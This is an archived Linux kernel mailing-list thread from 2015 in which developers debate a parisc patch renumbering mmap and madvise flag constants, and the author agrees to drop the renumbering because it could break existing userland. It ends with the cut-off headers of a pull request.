Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH 3/9] parisc: Fix asm/mman.h regarding MAP_HUGETLB and
 MADV_XX flags
Date: Sat, 21 Nov 2015 23:22:53 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <5650EEBD.6000400@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
 <1448055522-11594-4-git-send-email-deller@gmx.de>
 <1448139427.17638.16.camel@decadent.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1448144602 12226 80.91.229.3 (21 Nov 2015 22:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Nov 2015 22:23:22 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	stable@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 21 23:23:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a0GYm-0004iH-Ky
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Nov 2015 23:23:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754781AbbKUWXH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Nov 2015 17:23:07 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61421 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753211AbbKUWXG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Nov 2015 17:23:06 -0500
Original-Received: from [192.168.20.60] ([92.203.13.177]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MJSQ7-1a3HUx2zsJ-0032Xn; Sat, 21 Nov 2015 23:22:56
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1448139427.17638.16.camel@decadent.org.uk>
X-Provags-ID: V03:K0:MtM9hiTKqykAzKYZGzu4E1HtOk4EhR2jyuZzPOoq50Le9qNINYW
 hzqTZaznJD8/eh2gVqSLcLC5FUJ1iomb18EE1BcxpkMioISfaPxzCFUWxPLyeeuPELNtW0L
 p4XTDTR711Nenh7TqHA7m0OWMB0SOiWE/SQFMl8aS4eQX4hadm+26nyAvs01DqU/xS+7oD8
 avlJNEREr7FN2WdR3zdCA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ab1SZ55pVPc=:TGs1VaMYA8+PHgvHoPfyHG
 Gk5+BO2lzr/kCCGSqyL1Da1MJMTPXnjP7Gh30EZHVu33Go38O1RCDjDy5RABCV1QBz5t+zPYQ
 UoiKj6bmfnsgJqdY3Jwolp5W+AHQJFL3HZncYUmHxygQ4mp7aCyecUNPxn54uQtJUusIglWwA
 bIWbjwJkUF39YM2/p1adh/cCTsWSIjwTM+wa5LA7WQHiu0rnYb9I61el3FXWesU0GNGQ7OWu8
 COrkenAOJ2uTn24AiALyR3Yd4S7HCjlqwqiP2QkxVhZYSkpTxm0SAiZQASO/2H4m/MhHYo/gn
 NpwdOqYkPESeP6SDr2+u/iU8ZQ2h0KLD+B1Y08/yTfnEariNld1Ihqw6t2t/eADKRhHGvRZhX
 dNCt/63bRKSoXkG5ZQkqdTZ+6OhhNiIhDCKA89JqAbi78Pgx0EouDj8OzpXmeQGlSLGiJ/XyT
 /oosCAO4PVEqSd5gD8imcLWtrq+FpeJjGIxKqIQnGawpYG9LElPiRYTO/dfZH4vymLzfLS69o
 XWrufkCTsVb09yDnitg8q/LherB7enwl3Ifp2/SVh4Umc1Io35NwIj6DUJcD16/gsazqkJuiD
 IbirlMHCBW3yXQ2NzCRNwRJIhzNBJiDxBjon77WAxlILw8bYCw5HY2x8omFpf3IqrgTYXfwWi
 wVWA7/pPZTnlB8cmak9LTFNTkSxFD2on0z9Bodl2Fw2ECkK99urvGL89WhVBOqayg8FaR2wLC
 HGkNt3V7Ii3sTG4fyiOnyYWQA/jWusXwz1rp+lTAJ3PpVEFk5QWK8CP8TkIfpYDzXovnHBkS 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26161 gmane.linux.kernel.stable:156182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26161>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hi Ben,

On 21.11.2015 21:57, Ben Hutchings wrote:
> On Fri, 2015-11-20 at 22:38 +0100, Helge Deller wrote:
>> On parisc we have up to now never supported Huge Pages, even glibc did
>> not defined MAP_HUGETLB for parisc. Since the Huge Page support is being
>> added now, clean up existing definitions for MAP_HUGETLB and friends.
>>
>> Drop lots of MADV_xxK_PAGES flags, which were never used and were
>> designed for a patch which was never integrated into the Linux
>> kernel. Instead move other MADV_ flags to make them more compatible to
>> other linux architectures.
> 
> Changing the unimplemented values seems fine, but how can it be OK to
> renumber MAP_GROWSUP, MADV_DONTDUMP and MADV_DODUMP?

MAP_GROWSUP is new.
MAP_STACK changed, but doesn't seeem to be used inside the kernel anyway.
MAP_HUGETLB is new.

MADV_DONTDUMP and MADV_DODUMP changed, but I tend to think that they are
not widely used (if at all on parisc), and even in glibc they are only
accessible if applications included <linux/mman.h>.
So, having the same value for both as all other architectures gives long-term
probably more benefits than keeping the current values.
My testings up to now didn't showed problems, but I'm not religious on it.
If everyone thinks it's better to not change MADV_DONTDUMP and MADV_DODUMP
I will do so.

*BUT*:
This patch was not planned by me to be sent to the stable mailing list *yet*.
Please don't apply it to the stable kernels yet, since it's not upstream yet.
I was planning to push it down with the upstream commit...

(git send-mail fooled me, I just sent to the linux-parisc mailing list, James
and Dave, but I wasn't aware that git-send-mail sent it automatically too stable
as well)
 
Helge

>> Cc: stable@vger.kernel.org
>> Signed-off-by: Helge Deller <deller@gmx.de>
>> ---
>>  arch/parisc/include/uapi/asm/mman.h | 29 ++++++++++-------------------
>>  1 file changed, 10 insertions(+), 19 deletions(-)
>>
>> diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
>> index 294d251..9ac77f1 100644
>> --- a/arch/parisc/include/uapi/asm/mman.h
>> +++ b/arch/parisc/include/uapi/asm/mman.h
>> @@ -19,11 +19,12 @@
>>  #define MAP_EXECUTABLE> 	> 0x1000> 	> 	> /* mark it as an executable */
>>  #define MAP_LOCKED> 	> 0x2000> 	> 	> /* pages are locked */
>>  #define MAP_NORESERVE> 	> 0x4000> 	> 	> /* don't check for reservations */
>> -#define MAP_GROWSDOWN> 	> 0x8000> 	> 	> /* stack-like segment */
>> +#define MAP_GROWSDOWN> 	> 0x8000> 	> 	> /* x86 stack-like segment */
>>  #define MAP_POPULATE> 	> 0x10000> 	> 	> /* populate (prefault) pagetables */
>>  #define MAP_NONBLOCK> 	> 0x20000> 	> 	> /* do not block on IO */
>> -#define MAP_STACK> 	> 0x40000> 	> 	> /* give out an address that is best suited for process/thread stacks */
>> -#define MAP_HUGETLB> 	> 0x80000> 	> 	> /* create a huge page mapping */
>> +#define MAP_HUGETLB> 	> 0x40000> 	> 	> /* create a huge page mapping */
>> +#define MAP_GROWSUP> 	> 0x80000> 	> 	> /* parisc stack-like segment */
>> +#define MAP_STACK> 	> MAP_GROWSUP> 	> /* give out an address that is best suited for process/thread stacks */
>>  
>>  #define MS_SYNC> 	> 	> 1> 	> 	> /* synchronous memory sync */
>>  #define MS_ASYNC> 	> 2> 	> 	> /* sync memory asynchronously */
>> @@ -46,25 +47,15 @@
>>  #define MADV_DONTFORK> 	> 10> 	> 	> /* don't inherit across fork */
>>  #define MADV_DOFORK> 	> 11> 	> 	> /* do inherit across fork */
>>  
>> -/* The range 12-64 is reserved for page size specification. */
>> -#define MADV_4K_PAGES   12              /* Use 4K pages  */
>> -#define MADV_16K_PAGES  14              /* Use 16K pages */
>> -#define MADV_64K_PAGES  16              /* Use 64K pages */
>> -#define MADV_256K_PAGES 18              /* Use 256K pages */
>> -#define MADV_1M_PAGES   20              /* Use 1 Megabyte pages */
>> -#define MADV_4M_PAGES   22              /* Use 4 Megabyte pages */
>> -#define MADV_16M_PAGES  24              /* Use 16 Megabyte pages */
>> -#define MADV_64M_PAGES  26              /* Use 64 Megabyte pages */
>> +#define MADV_MERGEABLE   12> 	> 	> /* KSM may merge identical pages */
>> +#define MADV_UNMERGEABLE 13> 	> 	> /* KSM may not merge identical pages */
>>  
>> -#define MADV_MERGEABLE   65> 	> 	> /* KSM may merge identical pages */
>> -#define MADV_UNMERGEABLE 66> 	> 	> /* KSM may not merge identical pages */
>> +#define MADV_HUGEPAGE> 	> 14> 	> 	> /* Worth backing with hugepages */
>> +#define MADV_NOHUGEPAGE> 	> 15> 	> 	> /* Not worth backing with hugepages */
>>  
>> -#define MADV_HUGEPAGE> 	> 67> 	> 	> /* Worth backing with hugepages */
>> -#define MADV_NOHUGEPAGE> 	> 68> 	> 	> /* Not worth backing with hugepages */
>> -
>> -#define MADV_DONTDUMP   69> 	> 	> /* Explicity exclude from the core dump,
>> +#define MADV_DONTDUMP   16> 	> 	> /* Explicity exclude from the core dump,
>>  > 	> 	> 	> 	> 	>    overrides the coredump filter bits */
>> -#define MADV_DODUMP> 	> 70> 	> 	> /* Clear the MADV_NODUMP flag */
>> +#define MADV_DODUMP> 	> 17> 	> 	> /* Clear the MADV_NODUMP flag */
>>  
>>  /* compatibility flags */
>>  #define MAP_FILE> 	> 0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWUO69AAoJEKGDlV8wpRJBs5YP/3UzD7XA3kfkxKbvUCddjBt8
4UI4xzo7HyVKc2C6IRCihIWqb6KbSw+6dgqVNIPqZIOfeiueHYAz92X36mJB4c/B
xXmoUK2W6aKNDIXI4pmzZ//7MRvblSLQTjtSKb2z9sKe2SffJjra8khQGQCKcZcm
/xRYgzwMFw37YaGQnYABlciCHOEdAoN7vN5NhUXbxUHFdDIYxM+wXm0BzBudKvPT
/dMnGIvRnS4XCminK+wCXPQMR4E6MMBr3+UsRZm8G7/r7VmqKXg2BRbTQfeMV5a7
s3+1tw5p0a6DzrTngSDZK/udHnzvd16Beugha1lIKVBinYfG9nyu6ZI0y0kMank5
571swgUzRjxWLWRsSPbowO4gZJCWSS4mFC4RnziW5nzFzzXMC9tD2Osp9EL8yev3
NLPoxr1YcajS4CcOMpyS00rq1VBjKdwqAxDCXsLDEj7YFv7wSHkW8+BK4TfkuHYk
v7tV3NxLZdbr0IPEliiegf/+XnBVSmyTVk7kSV+NOub8X1RfL6MO8jcDV44yd5OZ
rgE8lkmEMh00cSU35YP1+MhuRDujRVQhIj2Xk36eO1R3a6pDb3y8B3w35KxxCobz
Onxa2KNSn6u7DEBOSDIGc9yxxjYR5M+Fnqs6wPCpGndbwaumOFB3VAR3Pfi/J/z5
dgwjngMT7PlZzry3K6jE
=s6EG
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH 3/9] parisc: Fix asm/mman.h regarding MAP_HUGETLB and
 MADV_XX flags
Date: Sun, 22 Nov 2015 02:21:18 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <1448158878.17638.20.camel@decadent.org.uk>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
	 <1448055522-11594-4-git-send-email-deller@gmx.de>
	 <1448139427.17638.16.camel@decadent.org.uk> <5650EEBD.6000400@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha512";
	protocol="application/pgp-signature"; boundary="=-SIk3R9NyOPjc6fqHrU10"
X-Trace: ger.gmane.org 1448158920 2601 80.91.229.3 (22 Nov 2015 02:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Nov 2015 02:22:00 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	stable@vger.kernel.org
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 22 03:21:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a0KHX-0004nl-5u
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Nov 2015 03:21:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752711AbbKVCVe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Nov 2015 21:21:34 -0500
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:54434 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752568AbbKVCVd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Nov 2015 21:21:33 -0500
Original-Received: from deadeye.wl.decadent.org.uk ([192.168.4.247] helo=deadeye)
	by shadbolt.decadent.org.uk with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
	(Exim 4.84)
	(envelope-from <ben@decadent.org.uk>)
	id 1a0KHR-0004BT-1t; Sun, 22 Nov 2015 02:21:29 +0000
Original-Received: from ben by deadeye with local (Exim 4.86)
	(envelope-from <ben@decadent.org.uk>)
	id 1a0KHL-0004jB-TB; Sun, 22 Nov 2015 02:21:23 +0000
In-Reply-To: <5650EEBD.6000400@gmx.de>
X-Mailer: Evolution 3.18.1-1 
X-SA-Exim-Connect-IP: 192.168.4.247
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-SA-Exim-Scanned: No (on shadbolt.decadent.org.uk); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26162 gmane.linux.kernel.stable:156183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26162>


--=-SIk3R9NyOPjc6fqHrU10
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sat, 2015-11-21 at 23:22 +0100, Helge Deller wrote:
> Hi Ben,
>=20
> On 21.11.2015 21:57, Ben Hutchings wrote:
> > On Fri, 2015-11-20 at 22:38 +0100, Helge Deller wrote:
> > > On parisc we have up to now never supported Huge Pages, even glibc di=
d
> > > not defined MAP_HUGETLB for parisc. Since the Huge Page support is be=
ing
> > > added now, clean up existing definitions for MAP_HUGETLB and friends.
> > >=20
> > > Drop lots of MADV_xxK_PAGES flags, which were never used and were
> > > designed for a patch which was never integrated into the Linux
> > > kernel. Instead move other MADV_ flags to make them more compatible t=
o
> > > other linux architectures.
> >=20
> > Changing the unimplemented values seems fine, but how can it be OK to
> > renumber MAP_GROWSUP, MADV_DONTDUMP and MADV_DODUMP?
>=20
> MAP_GROWSUP is new.
> MAP_STACK changed, but doesn't seeem to be used inside the kernel anyway.

It may not be implemented in the kernel, but it is certainly used by
userland:
https://sources.debian.net/src/glibc/2.19-20/nptl/allocatestack.c/#L513

So you can't assign any new semantics to that bit, and you might as
well keep MAP_STACK as the same value.

> MAP_HUGETLB is new.
>=20
> MADV_DONTDUMP and MADV_DODUMP changed, but I tend to think that they are
> not widely used (if at all on parisc), and even in glibc they are only
> accessible if applications included .
> So, having the same value for both as all other architectures gives long-=
term
> probably more benefits than keeping the current values.
[...]

This does not trump the fact that existing applications may break and
that is something we generally try very hard to avoid.

Ben.

--=20
Ben Hutchings
If you seem to know what you are doing, you'll be given more to do.
--=-SIk3R9NyOPjc6fqHrU10
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIVAwUAVlEmnue/yOyVhhEJAQor2A//ck+e1MLBrDSyyttYJefic7KppCBBE/0T
ElVi+hEXNJmKs1u5mkV6srT6NcowuRjcRJPeFWcwAFfhXGi2Nq51A439rNtNmalQ
lx4d5m9g4aYRYV3RdRf+uM90tHmC22wb/qLAYSevuteFYghJZp6+RFWOEDKEsliK
iYZ27ancrThKlk99A0L7XfZMCfRomtDlLCRi4FPAAh+X4wf6xpSGWj4LKrkdlGf4
e84srnyTmD5a4vhwfpD2Ji1G+w57WAiCPXqH5ap3p+GwYta+zHtTF1gsutl3A0to
G2Fg9x1BP5OQXSKxIqJ8UaVq9GlTjMs9aI6nFlrPYwAdgXpPR1yCKEFpgHxO3ZS7
5Rk29oOMwhqBYrJPBe0L0cvglycvJG5kKmPzedwBdoVhaM+Zlrlg1dVOEaSWtRXn
1shJ7sPQmp4axhKMIZ6H7+llLMrRXv26cA3Q1C9roFt4A0P+cPNVR4QFFSK/b6J6
h6oBwP6F00Qwu1efnS3Ou2p8PdNmV1JnoP5kUQTVs+BwxdgRPW4N/6VN0Vc0l221
q6jcNiWW+8JwO96bXv4kluP4W83iZcxbZ4tQja9aNKT2xcmNdqYzjywx/hCnZabZ
A+55lv5Zm6rgc3SkhMdmidIRFCyYlVuwXC2Q7vb3o73RbkNOqA7s3mG+f7MHJjJi
AU748o77Hu8=
=15pI
-----END PGP SIGNATURE-----

--=-SIk3R9NyOPjc6fqHrU10--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH 3/9] parisc: Fix asm/mman.h regarding MAP_HUGETLB and
 MADV_XX flags
Date: Sun, 22 Nov 2015 12:10:52 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <5651A2BC.4040409@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
 <1448055522-11594-4-git-send-email-deller@gmx.de>
 <1448139427.17638.16.camel@decadent.org.uk> <5650EEBD.6000400@gmx.de>
 <1448158878.17638.20.camel@decadent.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1448190700 7875 80.91.229.3 (22 Nov 2015 11:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Nov 2015 11:11:40 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	stable@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 22 12:11:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a0SYN-0004DE-00
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Nov 2015 12:11:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751333AbbKVLLG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Nov 2015 06:11:06 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:55680 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751105AbbKVLLF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Nov 2015 06:11:05 -0500
Original-Received: from [192.168.20.60] ([92.203.13.177]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MI5rO-1a4JtJ1soY-003u9u; Sun, 22 Nov 2015 12:10:55
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1448158878.17638.20.camel@decadent.org.uk>
X-Provags-ID: V03:K0:PfxCI4jY0LA9ofI6V7Uis3VIUGA0KM+Y0B2+UhlSvWmarzrpxw2
 6BX1l0Uwc6DxdtBOSlz0mH1ToLIiKGdBYdQ7LaSbWhbn+jqwljhEV2HjhO2wfl8e4zhlJb6
 2FkkDyPFXBaVlG7KYtuhbH+slh+OzjpJzI1L5V6a5NUNE+mzFOtvbCUKt40vgwJEvYUm6Ms
 BzZUxhSiAN5WqpcD+P74A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:cPo7QqB9W8Y=:LtzXQdiXpGFaEq/AciH1KZ
 wGi2xw8xcVZnqhlMmkQ5kgCrPIDG0lfvU8FRGFjXDAh76QAyNWhOckCee7cnH6HZt3xnif/Y3
 vfMSL4/x75IEOGYD6nIXxZOJ4rTQt7xTXUd97YSkIg3KTXFbDs6NLC/4litFQESAmTcqTcawf
 k2q7Nh2z0z5vydAvyLg8OrIi4b1nlDHUAKAhIZgsaVUBysk3KUazj8OjsiijQPlH9jSe89gKt
 K5GV+Axrzou1L+KHkqJk1ounaVMqpxdU6NrNuJDgd1TqF7e6ghX3cE/WIPjFwGwiemzJeElFK
 h1Y/4kNJk1GLlgzaWuupzDBpGy9Xnxc3GT55r0G5ooXdW+wv0icM87TFSIJ3u3VGzj4TB5SuF
 IYFwztXmD3j5VvWidYqB8Tco+WKgmKERzb9mCTUXXO6FwpMtlb6AZxsB57RTo9cCsADMkYmIO
 uTJHC+jSRrKbe3Wwmn6uO3OIsk3BaVyQxMA/baK0wetjvVAbSRnomCra5VqTqNy+vSpupFC8V
 DIf60Ffa0jduE+4hC3TdPULr2Si53fKdWtzLCb3RfOtTbt3iLO7whKfxEi15vJ9L+ap5Nq0W/
 ghDiCnP9sSld/xBqTq9rr2nSmQaHNOUUuT0R1Pb0nUj7oWZ0j6xCHifDAPBm4hYHtsO6DYgjB
 QuMNUcxbzomeLMkjTpci4aBc26cwi7GIIuDseSX05qS1S+ifxdlszzbNunAq/HDjTFIn/xscj
 g1haJ5Cfyu39slxr41MRZuWbsbNiLkaTVnR2AD5omww4vd124h40lWBZGn2xRj7J28LwQkPp 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26163 gmane.linux.kernel.stable:156187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26163>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hi Ben,

On 22.11.2015 03:21, Ben Hutchings wrote:
> On Sat, 2015-11-21 at 23:22 +0100, Helge Deller wrote:
>> On 21.11.2015 21:57, Ben Hutchings wrote:
>>> On Fri, 2015-11-20 at 22:38 +0100, Helge Deller wrote:
>>>> On parisc we have up to now never supported Huge Pages, even glibc did
>>>> not defined MAP_HUGETLB for parisc. Since the Huge Page support is being
>>>> added now, clean up existing definitions for MAP_HUGETLB and friends.
>>>>
>>>> Drop lots of MADV_xxK_PAGES flags, which were never used and were
>>>> designed for a patch which was never integrated into the Linux
>>>> kernel. Instead move other MADV_ flags to make them more compatible to
>>>> other linux architectures.
>>>
>>> Changing the unimplemented values seems fine, but how can it be OK to
>>> renumber MAP_GROWSUP, MADV_DONTDUMP and MADV_DODUMP?
>>
>> MAP_GROWSUP is new.
>> MAP_STACK changed, but doesn't seeem to be used inside the kernel anyway.
> 
> It may not be implemented in the kernel, but it is certainly used by
> userland:
> https://sources.debian.net/src/glibc/2.19-20/nptl/allocatestack.c/#L513

I knew this one, but didn't faced any problems.

Anyway, I will rework my patch and just drop the unnecessary MADV_xxxK_PAGES
flags.

Thanks!

Helge
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWUaK8AAoJEKGDlV8wpRJBZRYP/2veyj1ZhqmF1uE8h/t96H3G
WWhmQyzce8VJZUbOQdicYIUbLWj4CZLQUE+l59afPTHQqnUTo6nHKhsOKl4SBp8t
2+77qWUsDnv68pt4IOGAiAVJSYVgtkK+cB4ROmDJAUzJY5aVQF9/kfsDGx1+RWeX
ozXmRoGY/ANCVDiO+y8hOraOb6XHWhHidHNfynadAGVvy9egqHi7H6shb1KbFVIi
puw5kZD9grcvBoE+Ot0hpsufsjfvdeNRXwXQKW7+bwpIKbowxFbi6OyCJn9uy7aW
7uFBiJbDl4ZFk9zsE3dkEWDi6fyFgpBZic/p9lDCr95e26q8peTBpkgz1oHpzDh+
Q2/8zMu0vHKSVNAeuU16dQXT7yKSXKjBnLPFHzrvGLTRXQ9SLJmFx6+UVRUANe0e
K5/Hd8FDs1X0+5wOSK0Kj2CwQwZoO3K9XAZ5TTPQhw/2FTh7Kq5ixMUPhoiYtN4X
zpZZPE5Dd6JgCWm9SR5XM3V26DDz1gSZLs9FjdcVDW4xSivKK6X9onPEoB5ju2o+
/C78qDopRkhmaklYortbZ3wK/UEYSWKVtGmzW6L+/evC9M+/i3nmqMmMab7TjZDV
+plleRrZzbNnPpLdqOXMNlaKg9k232GjcoilMdigb0GRXvDj0KXqPeu9HkFnI7dV
utuUBUrWRZIfjha65eZa
=fi31
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc huge page support for v4.4
Date: Sun, 22 Nov 2015 12:51:53 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20151122115153.GA28471@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1448193165 10758 80.91.229.3 (22 Nov 2015 11:52:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Nov 2015 11:52:45 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 22 12:52:35 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a0TBf-0001Xg-Ly
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Nov 2015 12:52:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751271AbbKVLwG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Nov 2015 06:52:06 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:65535 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751452AbbKVLwF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Nov 2015 06:52:05 -0500
Original-Received: from p100.box ([92.203.13.177]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LjZhg-1abioH1lmq-00bXvp; Sun, 22 Nov 2015 12:51:57
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:IqicK9QehdhKy6ly51AH73IZ8N4cXWPMeRkSFIxWdOECNjaHf4I
 qJvVFwfYXzbi0RxRgqqZq4HxSG8jnPtOWIJtBb047Qgqvr5HmAdvtDkXhxvjy5/2TS71HPl
 B5Xr6qYBbv88/7dsLxcqDuZoEk4SWJPzNsHBrGnv4aHnozmNqzVgwiG38mEak+WGHcjgaP5
 N1lgMoe2S04qrTQd/lllQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:HbUZ3IEWQcU=:GxeTgIUAsm3aDwtWR0K6Ev
